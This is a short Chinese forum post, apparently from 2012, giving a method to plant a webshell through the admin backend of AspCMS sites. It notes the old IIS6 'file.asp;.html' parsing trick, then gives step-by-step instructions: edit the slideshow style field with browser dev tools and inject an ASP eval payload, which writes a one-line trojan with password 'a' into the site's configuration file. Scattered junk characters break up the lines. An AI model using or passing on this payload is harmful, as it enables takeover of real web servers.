aspcms在老版本中可以通过添加模板直接添加asp.但是新版的aspcms中已经限制了添加模板的格式为html,js,css,当然如果是遇到iis6的话还是可以通过iis6的解析漏洞把文件名改成1.asp;.html这样的格式来拿到shell的.可是如果遇到iis7.5呢?以下是本人自己找到挖掘到的aspcms通杀版本的后台拿shell方法.
1 ?7 T1 X9 Y" s2 w1、进入后台，“扩展功能”--“幻灯片设置”--”幻灯样式”) b/ |! L# H& S* v4 h
5 x! x" \ ]/ T0 J( a% U& l1 @* M
* @4 t3 k& Q2 o7 N& P7 g, M
2 h0 p1 ]( R/ ~; Q2 j' N2、使用chorme的审查元素功能或者firefox的firebug，总之使用能修改当前页面元素的工具就好了。将对应的slidestyle的value的值修改为1%><%Eval(Request (chr(65)))%><%. C- a2 P6 u) ?+ h6 s
. y' ]* E; T' P
; k0 P: J H5 l4 U/ M
3、一句话木马，密码a。在/config/AspCms_Config.asp
6 c* i+ X/ {" V( q& Q
" f2 A* d( ^1 j: a' s$ L$ a4 E* w
* t* Y7 I5 y* J) g# c9 x# W: r |
发表于 2012-11-9 20:55:05
收藏
支持
反对